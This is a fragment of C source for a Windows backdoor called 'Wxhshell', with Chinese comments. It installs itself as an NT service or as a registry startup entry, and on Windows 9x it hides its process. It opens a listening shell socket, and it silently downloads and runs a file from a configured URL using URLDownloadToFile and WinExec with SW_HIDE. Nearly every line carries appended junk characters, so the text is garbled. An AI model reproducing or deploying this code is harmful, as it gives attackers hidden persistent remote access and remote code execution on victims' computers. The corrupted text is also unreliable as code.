DWORD BasePriority; KPO w
ULONG UniqueProcessId; /kG?I_z
ULONG InheritedFromUniqueProcessId; -c?x5/@3
} PROCESS_BASIC_INFORMATION; ?wG
i
/[{xRXiR
PROCNTQSIP NtQueryInformationProcess; ,\"x#Cc f
V[kJ;YLPN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @NA+Ma{N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^UKY1Q.
W vB]Rs
HANDLE hProcess; 6
:3Id
PROCESS_BASIC_INFORMATION pbi; e8 ]CB
F]6G<6T[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kR
%,:
if(NULL == hInst ) return 0; KyX2CfW}t
C('D]u$Hdk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &%j`WF4p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _0rt.NRD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qzxWv5UH
?
bWc<]
if (!NtQueryInformationProcess) return 0; k8}fKVU;
ASoBa&vX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p1niS:}j
if(!hProcess) return 0; W?zj^y[w
j:1N&7<FU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 02;'"EmP$
YX,;z/Jw2
CloseHandle(hProcess); seK;TQ3/7
,^c-}`!K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uz_ob9l<#H
if(hProcess==NULL) return 0; qbq2Bi'a
jW8ad{
HMODULE hMod; 8/R$}b><
char procName[255]; P{K\}+9F
unsigned long cbNeeded; 5,MM`:{{
yO7H!}y_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A2\hmp@A@7
JJ)
CloseHandle(hProcess); VO:
jG`PyIgw
if(strstr(procName,"services")) return 1; // 以服务启动 dLH@,EKl)
GPh;r7xg6
return 0; // 注册表启动 ]SA/KV
} +0[H`5-^
!1R?3rVQS
// 主模块 /1/'zF&R-
int StartWxhshell(LPSTR lpCmdLine) G2wSd'n*y
{ 0N!rIz
SOCKET wsl; t&43)TPb.
BOOL val=TRUE; U`~L}w"
int port=0; Pl'lmUR
struct sockaddr_in door; E.m2- P;4
>wqWIw.w>
if(wscfg.ws_autoins) Install(); >V)#y$Z
apJXRH`
port=atoi(lpCmdLine); "})OLa
nnRb
if(port<=0) port=wscfg.ws_port; X{cB%to
*^[6uaa
WSADATA data; Xmmj.ZUr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x4kQG e(
]lGkZyUhI
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NKFeND
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Af&Q0J
door.sin_family = AF_INET; ] rqx><!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~P}ng{x4z
door.sin_port = htons(port); cy6YajOk7
TW 1`{SM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s7}-j2riq
closesocket(wsl); w8q
2f-K-
return 1; = =pQ
V[
} )g8Kicox5
#o~C0`8!B=
if(listen(wsl,2) == INVALID_SOCKET) { %?V~7tHm>
closesocket(wsl); _M8'~$Sg
return 1; `Zmdlp@
} eW<NDI&b
Wxhshell(wsl); )xU+M{p-os
WSACleanup(); 6X'0 T}
k fY;
return 0; Xajt][
|ul{d|
} J=kf KQV
fA1{-JzV<4
// 以NT服务方式启动 VPO~veQ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PQ_A^ 95
{ M7Xn=jc
DWORD status = 0; be-HF;lZe'
DWORD specificError = 0xfffffff; @`B_Q v@
UT{`'#iT
serviceStatus.dwServiceType = SERVICE_WIN32; w
`d9" n
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H0B=X l[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; { **W7\h
serviceStatus.dwWin32ExitCode = 0; '?I3&lYz{
serviceStatus.dwServiceSpecificExitCode = 0; Lf<urIF
serviceStatus.dwCheckPoint = 0; \L?A4Qx)_
serviceStatus.dwWaitHint = 0; h~%8p
]
#t Pc<p6m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @[\zO'|
if (hServiceStatusHandle==0) return; 0RSzDgX
3e-E/6zH6
status = GetLastError(); e+#k\x
if (status!=NO_ERROR) Ht}?=ZzW
{ v`Y{.>[H[
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vy/G-IASb
serviceStatus.dwCheckPoint = 0; W4P\HM>2
serviceStatus.dwWaitHint = 0; dqBN_P%
serviceStatus.dwWin32ExitCode = status; /9SoVU8
serviceStatus.dwServiceSpecificExitCode = specificError; \AI-x$5R*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7$0bgWi
return; o+k*ia~Fa
} =_N$0
A^hafBa
serviceStatus.dwCurrentState = SERVICE_RUNNING; u!+;Iy7
serviceStatus.dwCheckPoint = 0; o)b-fAd@$
serviceStatus.dwWaitHint = 0; S1~EJa5H
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V#Y"0l+~
} @|w/`!}9q
x@)cj
// 处理NT服务事件,比如:启动、停止 M.qv'zV`xG
VOID WINAPI NTServiceHandler(DWORD fdwControl) qOQ8a:]?
{ H;AMRL o4z
switch(fdwControl) ]d{lS&PRlg
{ `25<;@
case SERVICE_CONTROL_STOP: )3|a_
serviceStatus.dwWin32ExitCode = 0; LtUw
serviceStatus.dwCurrentState = SERVICE_STOPPED; |#xBC+
serviceStatus.dwCheckPoint = 0; 3H>\hZ
serviceStatus.dwWaitHint = 0; G<rAM+B*g
{ ;ioF'ov
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
Zf??/+[
} fpO2bD%$8
return; l LBzY`j
case SERVICE_CONTROL_PAUSE: G|t0no\f
serviceStatus.dwCurrentState = SERVICE_PAUSED; H<nA*Zf2@R
break; XN\rq=
case SERVICE_CONTROL_CONTINUE: # Rs5W
serviceStatus.dwCurrentState = SERVICE_RUNNING; .*+jD^Gr
break; qJtLJ<=1
case SERVICE_CONTROL_INTERROGATE: {{pN7Z
break; y=
8SD7P'
}; `d/* sX?k
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6}7z+
} nsq7dhq
T^$`Z.
// 标准应用程序主函数 W"t^t|H'~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b>#dMRK
{ ApggTzh@
Y>8JHoV
// 获取操作系统版本 8090+ (U
OsIsNt=GetOsVer(); TB<$9FCHK
GetModuleFileName(NULL,ExeFile,MAX_PATH); {7$jwk
|,H2ge
// 从命令行安装 @a=jSB#B
if(strpbrk(lpCmdLine,"iI")) Install(); G~_D'o<r
,5T1QWn^f
// 下载执行文件 Y}C|4"V
if(wscfg.ws_downexe) { @S5HMJ2=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /&czaAR-
WinExec(wscfg.ws_filenam,SW_HIDE); m'
|wlI[lq
} '<e$ c
vwa*'C
if(!OsIsNt) { j`Ek :
// 如果时win9x,隐藏进程并且设置为注册表启动 W|sU[dxZ
HideProc(); >xF&>SDC
StartWxhshell(lpCmdLine); qq?o^_^4
} sS4V(:3s
else t-}IKrbv
if(StartFromService()) z7P~SM
// 以服务方式启动 Qk|+Gj
StartServiceCtrlDispatcher(DispatchTable); OP=-fX|*Q
else i;Kax4k
// 普通方式启动 '9Q#%E!*
StartWxhshell(lpCmdLine); =E(ed,gH8
oS Ybx:2wo
return 0; jlqSw4_
} MIiBNNURX
'X4)2iFV
Oi@|4mo
xBf->o S?
=========================================== U1rr=h
g
Qs#;sy
W@~
)>"Ky
s bR*[2
.SSyW{a3w
|]Hr"saO0
" ug"4P.wI
)7#3n(_np
#include <stdio.h> N
K@6U_/W
#include <string.h> TnKOr~ @*
#include <windows.h> c&